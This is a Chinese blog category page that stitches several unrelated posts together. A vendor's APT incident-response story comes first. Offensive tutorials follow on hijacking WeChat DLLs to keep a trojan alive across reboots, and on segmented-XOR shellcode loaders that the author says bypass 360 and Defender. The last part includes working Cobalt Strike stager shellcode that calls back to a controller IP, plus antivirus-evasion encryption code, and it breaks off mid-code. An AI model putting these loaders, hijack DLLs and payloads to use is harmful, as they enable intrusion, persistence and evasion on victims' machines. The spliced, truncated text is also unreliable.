分类 文章资料 下的文章

隋唐之时,

四明山下,

瓦岗群雄轮番上阵,对隋唐第二勇士宇文成都发起了“车轮战”。

虽然单打独斗都不是宇文成都的对手,但在长时间的消耗战下,宇文成都体力不支,败给了排名第三的裴元庆。

在网络安全领域,也有一个长期令安全人员感到难缠的对手,它就是APT攻击(高级可持续威胁攻击)。

持续时间长、隐蔽性强、攻击手段复杂、破化力大……依赖单一的网络安全产品或手段,很难将APT攻击一招降伏,于是,“车轮战”显现出了威力。

1.jpg

第一回合 安全运营发现APT入侵“足迹”

2019年5月,一封邮件引起了企业A的警觉。

为了达到一些不可告人的秘密,黑客组织向企业A的员工(目标1主机的用户)邮箱投递鱼叉邮件。

鱼叉邮件往往是APT渗透的“尖兵”。

出于安全性的顾虑,该员工并未打开不明来源邮件附件,所幸“逃过一劫。”经过QAX威胁情报高对抗云沙箱(文件深度分析平台)分析后发现,该附件携带了APT组织海莲花所使用的特种木马。

尽管没有中招,但这封鱼叉邮件还是引起了企业A的警觉,于是该企业针对性部署了QAX态势感知与安全运营平台(简称NGSOC),并由QAX提供常态化安全运营服务。

QAX安全运营服务人员在日常告警排查过程中,发现企业A的NGSOC疑似检测到APT攻击。对此,QAX迅速启动了应急响应机制,为客户提供失陷区域排查以及攻击溯源服务。

由于告警发生时间较早,溯源分析面临较大的困难。但没过多久,QAX安全运营服务人员再次发现NGSOC平台产生APT攻击告警。在取得企业A同意后,QAX迅速派出一线安全运营服务团队进驻客户现场,开始了查杀APT的“车轮战”。

第二回合 威胁情报检测让海莲花组织显形

由于APT攻击往往十分隐蔽,并且早在2019年5月份就出现了APT攻击的痕迹,此次告警很可能并不是APT攻击的开端,因此应急响应人员决定从历史日志入手,对近一年的终端日志进行溯源分析,希望能够从中发现APT组织留下的蛛丝马迹。

2.jpg

不出意料,安服人员通过NGSOC有了重大发现!

通过日志溯源分析发现,早在2019年10月,内网终端目标2访问过疑似黑客组织所使用的C2(Command & Control,命令与控制)服务器,并成功登录业务服务主机目标3。威胁情报显示,该C2服务器域名和IP地址均带有海莲花组织标签。

据此,安服人员得出了两个结论:

第一,发动此次攻击的APT组织应该是海莲花组织;

第二,海莲花组织最先入侵了目标2,并以此为跳板,控制了目标3。

但由于目标3主机并没有连接互联网,因此海莲花组织无法直接操控目标3或者将窃取的信息直接回传至自己的C2服务器上。因此,海莲花组织极有可能利用目标2作为中转站,开展远程操作以及信息窃密工作。

果不其然,安服人员在目标2的主机日志中发现,海莲花组织开启了目标2主机的数据包转发功能,能够操控目标3并将从目标3窃取的信息转发到自己的服务器上。

3.jpg

此时,“车轮战”的第二个上场选手——威胁情报,圆满完成任务。

第三回合 NGSOC流量回溯完成APT扩散“流调”

为了详细还原海莲花组织在控制目标3后,到底做了什么事情,现场安服团队决定进行流量回溯,确定目标3经由目标2与黑客组织的信息回传情况以及目标3针对其他终端的访问和扩散传播情况。

这次排查很快就有了眉目。

经过NGSOC平台流量回溯后发现,在海莲花组织控制目标3后的大约半个小时左右,发起了一个内网网段的扫描探测,以及一个网段的MySQL扫描攻击。此举的主要目的是以目标3为跳板,再找出内网其它存在漏洞(包括开放了高危端口)的终端和数据库,实现内网的横向扩散。

显然,海莲花组织并没有满足于控制两台终端,它们希望控制更多内网终端和服务器,以获取更多有价值的敏感信息。

恰在此时,现场安服人员从NGSOC告警信息中获取了两条重要线索:

2019年12月开始,终端目标4和终端目标5曾频繁访问海莲花组织C2服务器,数量和频率都远超过目标2和目标3两台失陷终端。因此,安服团队随即针对目标4和目标5开展重点排查。

4.jpg

图 目标5相关告警

登录日志显示,目标3曾登录过目标4,目标4则登录了目标5,因此安服团队得出了一条海莲花组织在内网的扩散路线:

海莲花组织在通过鱼叉邮件感染目标1无果后,绕过了之前部署的某厂商边界防护手段,入侵了目标2并以该终端为跳板,依次向目标3、目标4和目标5横向扩散。

5.jpg

由于目标5是该机构开发重要系统的主机,能够频繁访问公司敏感系统和代码服务器,能够获取大量敏感信息。 最终目标5在被海莲花组织控制之后,成为了其获取重要系统敏感信息的重要“据点”。

在此番较量中,NGSOC平台的流量回溯,为还原APT攻击的“入侵路径”,立下了汗马功劳。

第四回合 文件深度分析解密攻击手法

接下来最重要的就是从这四台失陷终端中,找到木马文件并展开深度分析,通过木马文件的功能判断海莲花组织的攻击意图和恶意行为。

由于目标5的特殊性,安服团队决定把终端5作为切入点,重点开展排查。

但令人稍感意外的是,在作为海莲花组织重要据点的目标5上,并没有发现木马文件。

日志分析显示,或许是出于隐蔽性的考虑,海莲花植入的木马文件已被远程命令删除,同时木马运行的相关日志也被一并删除。

不过,这样的场景,他们已经经历过太多次。考虑到目标4频繁与海莲花组织进行远程通信,安服团队猜测,海莲花组织应该是以目标4作为跳板,窃取来自目标5的敏感信息,因此他们立即把重点放在了目标3和目标4上,果然收获颇丰。

在对目标3主机重点排查时,安服团队发现了3个木马文件,编号为木马1、木马2和木马3。QAX文件深度分析平台(威胁情报中心云沙箱)分析显示,这三个木马文件均具有OceanLotus(海莲花)标签,即被标记为海莲花组织使用的特种木马。

其中,木马1的主要功能便是让目标3与目标2进行通信,以便海莲花组织对目标3进行远程控制;木马2和木马3的主要功能都是窃密。

6.jpg

图 云沙箱分析结果

在对目标4主机进行排查时,安服团队在某个文件目录下发现了恶意木马4。为了实现该木马的持久化利用,不被杀毒软件查杀,海莲花组织将木马4与某个合法应用进行了捆绑加载和运行,这也就是业界常说的“白利用”方式。

QAX文件深度分析平台 分析显示,木马4在运行后,便会访问office.xxx.org域名实现远程控制电脑。与威胁情报中心比对显示,木马4与其访问的域名均带有海莲花组织的标签。

至此,海莲花的攻击行为被彻底揭穿和中止。

案例总结

7.jpg

图 海莲花组织攻击全景图

早在2019年11月,企业A在NGSOC平台上发现相关APT告警,但一直未能获取木马样本,难以实现精确查杀。

没过多久, NGSOC再次检测到大量APT告警攻击,QAX应急响应专家迅速抵达客户现场,通过企业A现有环境,协同QAX安全运营专家、安全能力中心威胁情报专家、QAX红雨滴团队等最终确定该企业A遭受海莲花(OceanLotus)又称APT-32、APT-C-00,APT组织攻击。

通过溯源分析,本次海莲花组织攻击集中爆发于2019年10月,攻击者利用目标2、目标3和目标4,等设备作为跳板机对客户内网机器进行渗透、收集敏感信息最终获取重要系统权限,造成数据被窃取。

在这次针对海莲花组织APT攻击的追踪和围剿中,NGSOC、安全运营、威胁情报、文件深度分析平台(威胁情报中心云沙箱)等等诸多武器,都先后派上了用场,加上经验丰富的QAX安全专家,以及强大的数据分析能力,最终再次挫败了一次隐秘性极高的海莲花攻击活动。

这也应了一句老话,“一个好汉三个帮”,只有协同联动,将人、数据、工具和流程有机结合到一起,常态化持续运营,才能构建出“以我为主”的积极防御体系。

以wechatwin.dll为例子
使用aheadlib.exe即可快速生成dll源码 方便劫持

1.jpg

劫持微信dll使木马bypass360重启上线维持权限
软件的本质是通过读取导出的函数名和内联汇编代码来 “转发” DLL.
下载地址:https://bbs.pediy.com/thread-224408.htm
如果在加载 DLL 时出错就说明位数有问题, 需要运行 x64 的 AHeadLib.
当前者为 “直接转发函数” 时, 则直接转发整个 DLL, 代码中仅有 DllMain. 如果选择 “即时调用函数”, 就会细分至 DLL 的每一个函数, 在调用不同函数时依次进行转发. 例如在接受文档时触发 Payload, 或是在程序崩溃时触发 Payload, 高度自定义, 没有需要的话默认即可.
“原始 DLL 名” 指的是被劫持 DLL 修改后的名称. 工具只是帮你把指定函数转发到对应的 DLL 上, 并不是直接反编译出内容, 所以需要通过恶意 DLL 来调用被劫持 DLL 的相关函数, 如果勾选 “系统路径” 则说明被劫持的 DLL 为系统 DLL.

2.jpg

生成后在 Visual Studio 新建动态链接库项目, 然后在 dllmain 中粘贴代码.
在入口函数中加入启动进程的代码.

STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("C:\\Windows\\System32\\cmd.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);

选择对应位数编译 (如果是 64 位的 DLL 需要在项目中添加之前生成的.obj 文件).
复制 DLL, 并修改被劫持 DLL 的名称为之前指定的 “原始 DLL 名”.

3.jpg

这里我想用这个加启动项看看能不能过360 结果算了,,360NB
启动微信 弹出CMD

4.jpg

以传统远控为例
木马将自身复制到F盘
然后在劫持的DLL的入口函数加入启动代码

5.jpg

6.jpg

启动微信 叮~新的主机上线
如果微信在启动项里面的话 那么就能达到傀儡机重启木马也能上线的目的

7.jpg

劫持微信dll使木马bypass360重启上线维持权限已经实际测试过了 360不会拦截 只要木马静态免杀就可以了.
在实际渗透过程中 也算是一种维权的思路吧.

首先说个题外话。。。

测试的时候发现,360放在虚拟机里哪怕给他连上了网。。。简单用异或加密下的 shellcode 能正常上线,最主要的是。。跑mimikatz 360居然动都不动
但是一旦放到物理机上,刚下下来 马子 就马上被杀。

这就有点奇葩。。。猜360检测了虚拟机环境。。。

回到正题

现在的杀软对于普通的一次异或加密shellcode 都基本能静态秒杀。于是乎产生了一些想法:

shellcode 在 loader 里是经过异或加密的。难道说杀软遍历 1 - 255 去依次异或解密吗?有点不现实

那既然直接爆破破解 异或值 不太现实,那杀软凭什么能静态秒杀呢?沙盒吗?

结果测试的时候发现,单单在 loader 中放一个 一次异或加密的shellcode 也会被杀。

那就很明显了,一次异或加密的 shellcode 也许还有一些特征值,有规律,被杀软检测到了

那我们将 shellcode 分段加密,把规律打破,是不是自然就能过杀软了呢?

下面上代码:

首先需要在本地把 shellcode 加密下。。自动加密的脚本。。之后有空再写吧哈哈

 //未加密 shellcode 版。自己调试然后拿加密后的 shellcode 以及 xorData
 #include <Windows.h>

 int main() {
 /* length: 926 bytes */
 unsigned char source_shellcode[] = "SHELLCODE";
 unsigned char encode_shellcode[926] = { 0 };

 //XOR分段数,固定长度 926 / 2 = 463
 int xorNum = 463;
 //保存每次分段 XOR 的值
 int xorData[463] = { 0 };
 int source_shellcode_length = sizeof(source_shellcode);
 char decode;
 int k = 0;

 //分段XOR
 srand((unsigned int)time(NULL));
 for (int i = 0; i < xorNum; i++)
 {
 // 不能太大,也不能是 0
 xorData[i] = rand() % 200 + 10;
 //每2个一分组
 for (int j = 0; j < 2; j++) {
 encode_shellcode[k] = source_shellcode[k] ^ xorData[i];
 k++;
 }
 }
 getchar();
 return 0;
 } 

记得改下shellcode长度

1.png

打个断点,用调试器拿加密过的 shellcode 和 xordata:记得勾下 十六进制显示,将之复制出来

2.png

复制出来后到 sublime 中进行修改(sublime真好用)

3.png

别忘了还有个 xordata,如法炮制即可。

获取到 加密的 shellcode 和 xordata之后,将其放入到下面代码 中

ps:这些变量这么命名,可能有些杀软会检测下符号表,实战的时候最好改下变量名

#include <Windows.h>

int main() {

/* length: 926 bytes */

//没做那么智能化,加密的shellcode 和 XORdata 就在上一个代码中自己用调试器调然后拷贝出来把

unsigned char encode_shellcode[926] = "SHELLCODE";

//XOR分段数,固定长度 926 / 2 = 463

int xorNum = 463;

//保存每次分段 XOR 的值

int xorData[463] = { 0xXX,0xXX,0xXX…… };

char decode;

int k = 0;

char* Memory;

//故意开内存只开1,实际上后面偏移的时候还是能插进去的,可能能过下杀软

Memory = VirtualAlloc(NULL, 1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

for (int i = 0; i < 926; i++) {

Memory[i] = encode_shellcode[i];

}

//XOR分段解码。直接在内存中异或,防止 shellcode 泄露。也许能过下杀软吧

//每两个一分组

for (int i = 0; i < xorNum; i++)

{

for (int j = 0; j < 2; j++) {

decode = encode_shellcode[k] ^ xorData[i];

Memory[k] = decode;

k++;

}

}

((void(*)())Memory)();

return 0;
}

可正常上线

6.png

8.png

虚拟机360跑起来:

10.png

11.png

最后:

实测物理机过了360、defender。

https://github.com/0xbug/Hawkeye

Docker方式部署Github监控系统Hawkeye

Mongodb4.0配置用户名密码认证登录

通过ip及端口方式连接mongo
mongo ip:27017

systemctl start docker #启动docker
systemctl enable docker #开机启动docker
systemctl status docker #查看docker状态

systemctl stop firewalld.service 可以关闭运行的防火墙
systemctl disable firewalld.service 即可永久禁止防火墙服务,下次重启也不会开启

vi /etc/selinux/config
将SELINUX=enforcing改为SELINUX=disabled
设置后需要重启才能生效

前言

DLL劫持漏洞是老生常谈的一个漏洞,已经被前辈们各种奇技淫巧玩烂。但DLL劫持技术在后渗透和域渗透中的权限提升和权限维持都起到了至关重要的作用。本文简单剖析DLL劫持技术并通过实例应用来查看如何在渗透工作中利用此项技术。篇幅稍长,各位读者耐心观看,文中有不妥之处请各位加以斧正。

DLL劫持原理

什么是DLL?

DLL是动态链接库文件,在Windows系统中,应用程序并不是一个完整的可执行文件,它需要调用对应的DLL来完成相应的功能。一个应用程序可以使用多个DLL,一个DLL可以被多个应用程序使用。

DLL劫持漏洞产生原因

开发者在调用DLL时没有指定绝对路径,那么Windows就会按照特定的顺序去查找DLL,因此,黑客如果能够优先将DLL置于有效目录,就能够欺骗系统加载恶意DLL,实现DLL劫持。

1.jpg

如上图,应用程序执行需调用LPK.dll,该DLL在"C:Windowssystem32"目录下,但是由于系统优先搜索当前目录"C:UserspcDesktop",所以如果当前目录存在恶意的DLL,程序会优先加载,从而导致漏洞产生。

Windows中应用程序搜索DLL的顺序

Window中默认搜索DLL的顺序为:

1.程序所在目录
2.系统目录即 SYSTEM32 目录。
3.16位系统目录即 SYSTEM 目录。
4.Windows目录。
5.加载 DLL 时所在的当前目录。
6.PATH环境变量中列出的目录。

为了应对DLL劫持漏洞,微软在Windows7以上的版本将一些容易受到劫持的DLL写入了注册表HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs中,在此项中的DLL都被禁止从程序所在目录调用,而只能从系统目录"C:WindowsSystem32"中调用。

不过终究是治标不治本,事实上攻击者只需要查找KnownDLLs注册表项中不存在且被应用程序调用的DLL,即可绕过这一限制。

DLL劫持的一般步骤

劫持Windows应用程序的DLL一般需要以下步骤:

1.启动应用程序
2.使用ProcessMonitor等工具查看应用程序启动后加载的DLL
3.从加载的DLL中筛选出不存在于HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs注册表项中的DLL
4.编写劫持代码生成劫持DLL
5.将编写好的DLL置于程序目录中并重新启动程序
6.查看是否劫持成功

如何利用DLL劫持微信并上线CS

这里我们通过劫持最新版微信,来更直观的认识和了解DLL劫持漏洞的利用。

DLL选择

首先下载安装最新版微信并运行,使用ProcessMonitor查看微信运行后调用的DLL情况。

Process Monitor一款系统进程监视软件,总体来说,Process Monitor相当于Filemon+Regmon,其中的Filemon专门用来监视系统中的任何文件操作过程,而Regmon用来监视注册表的读写操作过程。
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon

这里我们需要将图示红框中的功能关闭,它们分别是注册表监控、网络监控、进程线程监控,我们只需要监控文件系统。

2.jpg

接下来我们需要筛选出微信程序的文件监控,在Filter中选择Filtel..,创建如下规则:

3.jpg

添加并应用规则后,我们可以更直观地观察微信程序调用DLL的情况。存在劫持漏洞的DLL一般存在以下几个特征:

不在注册表项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs中
先从程序当前目录调用,并在搜索不到后进入系统目录调用

这里发现有几个DLL符合特征,我们选择DDRAW.DLL进行测试:

测试发现劫持某些DLL会导致微信退出时崩溃,建议在测试环境测试后再投入实战

4.jpg

5.JPG

事实上,对于在可能存在劫持漏洞DLL的查找上面已经有相关的懒人工具,如DLL Hijacking Auditor、rattler、DLLHijack_Detecter等等,但相应的存在一定的误报率和运行问题。

劫持DLL制作

编写一个劫持DLL,需要两个步骤:

查看被劫持DLL的导出函数表
编写实现劫持DLL向原DLL的函数转发,并在过程中加入你的恶意代码

这对不熟悉编程技术的安全从业者来说是一个复杂的过程,但我们可以使用AheadLib或DLL_Hijacker.py这两款工具来生成相应的cpp代码,只要简单加入我们的劫持代码并重新编译出DLL即可。(个人喜欢使用后者来生成代码,原因有二,一是python脚本使用方便,二是AheadLib使用易语言编写,杀软对易语言程序不友好。两款工具工作笔者都已测试,编译生成的DLL皆完好可使用)

工具下载地址:

AheadLib:https://github.com/strivexjun/AheadLib-x86-x64
DLL_Hijacker:https://github.com/coca1ne/DLL_Hijacker

这里我们利用DLL_Hijacker.py生成对应的cpp代码:

python DLL_hijacker.py c:\Windows\SysWOW64\ddraw.dll

接下来我们在VS2015中新建项目,创建c++空项目,命名为DDRAW:

6.jpg

在项目属性中我们需要进行简单设置,将配置类型改为动态库(.dll),MFC的使用改为在使用标准Windows库,目标文件扩展名改为.dll

MFC的使用选择在静态库中使用MFC会将相关代码写入DLL中,可以运行在没有相关DLL的系统中,但是缺点是生成的DLL体积较大,选择此选项保证DLL在不同系统中可以正常运行。

7.jpg

在项目的源文件中新建DDRAW.cpp文件,并将DLL_hijacker.py生成的cpp代码粘贴过来后编译:

8.jpg

然后我们将编译好的DLL放入微信程序目录中,并重新启动微信,可以发现劫持成功:

9.jpg

DLL劫持到CS上线

当然我们并不能满足于单纯的弹框,我们需要利用此漏洞来实现权限维持。

首先cs生成shellcode:

10.jpg

在代码中申请执行内存并执行我们的shellcode,核心代码如下:

typedef void(__stdcall* JMP_SHELLCODE)();

unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xb8\x22\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x37\x6d\x44\x74\x00\x0e\x10\x00\x9d\x32\xdc\x4d\xa3\xd2\x4c\x42\xbb\x3a\x26\x92\x3a\xea\xd9\x2c\x08\x8a\xaa\x18\xd3\x3b\x30\xcc\xe4\x01\x3a\xe7\x36\x68\x6a\x0b\x0a\x16\xe5\xc2\xc2\xfb\x17\x53\xdd\x85\x34\x49\x4d\xe3\x57\xb6\x53\xf5\xd9\xfc\xbc\xbf\x61\x42\xd1\x17\xb1\x93\x36\x65\xd9\x78\x54\xc4\x8f\x9c\x76\xa9\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x4e\x50\x30\x32\x29\x0d\x0a\x00\x84\xdc\xd4\xde\x3c\x35\x45\x34\xdd\x7c\xcf\x75\x18\x5d\x7b\x82\xb5\xc7\x62\x1b\xc1\x6a\x9b\x85\x4e\x21\x82\x75\x88\x8d\xb2\x9a\x49\x4d\x07\xc7\x4d\x9d\x0c\xc4\xb6\xc6\x3e\xec\xc5\x12\x13\xfc\x00\x94\x17\xa6\xdf\x3e\xa1\x6a\xa9\x47\xb7\xc7\x63\x72\xba\xae\x8a\x37\xf1\x2a\xac\x5d\x5c\x59\x83\x7b\xa1\xf5\xfc\x9b\x52\x28\xb4\x5a\x13\x65\xc3\xe0\x59\x1e\xd0\xe5\x33\x8e\x4f\x5f\x1f\x0c\x84\xcd\xf6\x78\x76\x26\xfa\x4c\xaa\xc5\x7d\x13\x93\x9d\x47\x84\x53\xb8\xa3\x7a\x29\xf9\xc1\x47\x0a\xdd\xfc\x80\x04\xae\xa8\xeb\x64\xa3\xb6\xb0\x7f\x1f\xd7\x56\x31\x87\xc8\x8b\x60\x39\x3c\xed\xb8\xa9\x7e\x5b\xbe\x07\xe1\x0f\x7b\xc3\x88\xe2\x8d\xc9\xb7\x03\x6a\xd3\xd6\x3a\x34\x4a\xb8\x36\x6f\x0a\xdb\x8c\xf5\x23\x95\xb0\x15\x30\xfc\x33\xa2\x2c\x63\x69\x12\xbb\x98\x9e\xf6\x4d\x82\xaa\xca\x72\x51\x1f\xca\x10\x44\x65\xb1\xd9\xd6\x7d\xc9\xaa\x0d\x0e\xda\xdb\x88\x4b\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x35\x37\x2e\x31\x33\x34\x00\x12\x34\x56\x78";

DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpBase, shellcode, sizeof(shellcode));
JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
jmp_shellcode();
return 0;
}

然后创建线程并在主函数dllmain中执行即可。将编译好的DLL置于微信目录,重启微信,此时CS成功上线:

11.jpg

12.jpg

绕过杀软上线CS

在实际环境中,shellcode可能会被杀软识别查杀,我们还需要对shellcode进行免杀处理。我们可以把shellcode加密处理,执行的过程中再进行解密,此时shellcode便具有一定的免杀能力。也可以对shellcode进行分段多重加密再分段解密,免杀效果会更好。

在安装了杀毒软件的环境中,DLL编译完成后被查杀:

13.jpg

我们考虑通过加密的方式将我们的shellcode隐藏。 这里我们新建工程,在代码中,我们使用XOR方式将shellcode分段加密,利用程序获取加密后的shellcode,核心代码如下:

#define KEY 0x99 //第一段XOR key
unsigned char ShellCode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xb8\x22\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x53\x58\x6c\x45\x00\x81\x43\xba\xf6\x98\x63\x16\xc9\x6a\x76\x08\xd9\xa1\x22\x06\xb9\x91\xae\xf2\x9c\x43\x54\x45\x60\x4d\xca\x7d\x34\x1d\x0d\xcc\xe9\x9b\xe3\x8b\xb5\xa2\x18\xf8\x88\x22\x0b\x29\xdb\x90\x31\xb6\x82\x96\xc4\x18\x74\x66\x42\x0a\xef\x66\x40\x14\xf5\x9e\x6d\x93\x2b\xcb\x33\x3a\xf4\xbf\x27\x74\xd7\x81\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x30\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x29\x0d\x0a\x00\x82\x79\xfd\xc6\xc5\xfc\x18\x09\xf1\x8d\xda\x55\xf4\x79\x75\x7d\x85\xf7\x98\x75\x65\xaa\xe7\xee\xb4\x9c\xed\x10\x87\x33\x38\x34\x6f\x2e\x6c\x83\x0a\x78\x28\x58\x1f\x91\x58\x50\x73\xca\x05\x6a\xf0\xe3\x12\x9e\x31\x5d\xbf\x02\xb1\x8b\xf5\x8e\xc9\x3a\xee\x97\x3a\x9a\x6b\x32\x3d\xd1\x31\x63\x3f\xeb\xd0\xe0\xa0\x5d\x00\xb9\xd9\xe6\x7e\x0a\x89\xd6\xcf\x94\xa7\x3c\x74\xea\x2c\x69\xec\x54\x39\xe1\x66\xbb\x83\xa9\x2b\x0d\xe0\xe0\xc7\xcd\xa9\x88\x5b\x06\x84\xfa\x87\xf7\x84\x03\x0c\xa7\xb0\xaa\x3b\x09\xea\xf0\x6b\xce\x9c\xa2\xf4\xec\x21\x8b\x5c\x12\xae\x93\xb9\x2e\xd6\x3f\x15\x8e\xa1\x46\xec\x87\x72\x2f\x70\xd7\x4e\xe9\x5c\x24\x56\xab\xce\xae\x5e\xd2\x0b\x7a\x56\x12\xdd\x5a\x33\x7c\x8b\x23\x4e\x32\xc0\xac\x90\x89\xec\xab\xd6\x3c\x9c\x34\xd0\xd0\x56\x52\xed\xf0\xc9\x3a\xe4\x8a\x9e\x9d\x87\xe9\x51\x19\xec\xa6\xf1\x7f\x19\xa2\x52\x69\x03\x22\x3e\xc2\x44\xc8\x42\x6c\xa7\x1c\x54\x98\x78\x33\x6d\xe3\xb4\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x35\x37\x2e\x31\x33\x34\x00\x12\x34\x56\x78";
int main()
{
unsigned char enShellCode1[sizeof(ShellCode)]; 
unsigned char enShellCode2[sizeof(ShellCode)];
for (int i = 0; i < sizeof(ShellCode) - 501; i++)
{
   enShellCode1<i> = ShellCode<i> ^ KEY; //第一段XOR加密
   printf("\\x%x", enShellCode1<i>); //获取第一段加密结果
}
char key[] = "chris"; //第二段XOR key
int j = 0;
for (int i = sizeof(ShellCode) - 501; i < sizeof(ShellCode)-1; i++)
{
   if (j == sizeof(key) - 1)
     j = 0;
   enShellCode2<i> = ShellCode<i> ^ key[j]; //第二段XOR加密
   j++;
